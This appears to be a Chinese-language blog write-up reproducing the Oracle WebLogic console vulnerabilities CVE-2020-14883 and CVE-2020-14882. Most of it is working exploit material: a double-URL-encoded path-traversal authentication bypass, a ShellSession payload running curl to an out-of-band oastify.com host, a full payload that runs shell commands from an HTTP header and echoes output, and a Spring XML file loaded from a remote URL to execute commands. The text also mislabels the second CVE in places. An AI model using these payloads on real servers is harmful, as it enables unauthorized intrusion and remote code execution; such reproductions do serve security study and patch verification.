WebLogic管理控制台未授权漏洞复现(CVE-2020-14883)

WebLogic管理控制台未授权漏洞复现(CVE-2020-14883)

1、影响版本

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

2、漏洞概述
  • CVE-2020-14883:允许未授权的用户通过目录穿越结合双重 URL 编码的方式来绕过管理控制台的权限验证访问后台。
  • CVE-2020-14882:允许后台任意用户通过 HTTP 协议执行任意命令。
3、利用流程
CVE-2020-14883

正常情况下,没有登录 WebLogic 的话访问 console 后台就会直接 302 跳转到 /console/login/LoginForm.jsp 登录界面。

image-20240123000942272

但是,通过目录穿越结合双重 URL 编码就能绕过认证实现未授权访问 console 后台:

对应的 payload 为

1
/console/css/%252e%252e%252fconsole.portal

image-20240123001018887

其中 %252e%252e%252f 为二次 url 编码的 ../ ,通过这个就可以实现穿越路径未授权访问相关管理后台。

访问后台后,发现和之前复现的弱密码登陆的页面不一样,之前的通过弱密码登陆管理员账号的界面有部署功能:

image-20240123001041317

这时候就需要用到后台任意命令执行(CVE-2020-14883)了。

CVE-2020-14883前面的 CVE 虽然可以访问后台,但是是低权限用户、无法安装应用,此处我们需要借助 CVE-2020-14883

这个漏洞的利用方式有两种,一是通过 com.tangosol.coherence.mvel2.sh.ShellSession,二是通过 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

方式一

1
com.tangosol.coherence.mvel2.sh.ShellSession

但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类。

直接访问如下URL,即可利用 com.tangosol.coherence.mvel2.sh.ShellSession 执行命令,下面是 dnslog 探测的 payload

1
http://ip:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20vnmh1ymd4u6vz2lgrt60s6zid9jz7o.oastify.com');")

有回显的 paylaod:

1
/console/css/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

执行的命令添加在 http 头部的 cmd 字段:

image-20240123001154574

方式二

1
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

这是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有 Weblogic 版本均有效。

首先,我们需要构造一个 XML 文件,并将其保存在 Weblogic 可以访问到的服务器上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[ping nh8vcdige9vlja513ugyqowj1a70vp.oastify.com]]></value>
</list>
</constructor-arg>
</bean>
</beans>

如果是 windows 可以尝试弹计算器,然后通过如下 URL,即可让 Weblogic 加载这个 XML,并执行其中的命令:

1
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

image-20240123001301201

但是该方法需要 Weblogic 的服务器能够访问到恶意 XML,在服务器不出网的时候无法利用。

4、修复方案

厂商已更新新版本,通过官网更新至最新版本。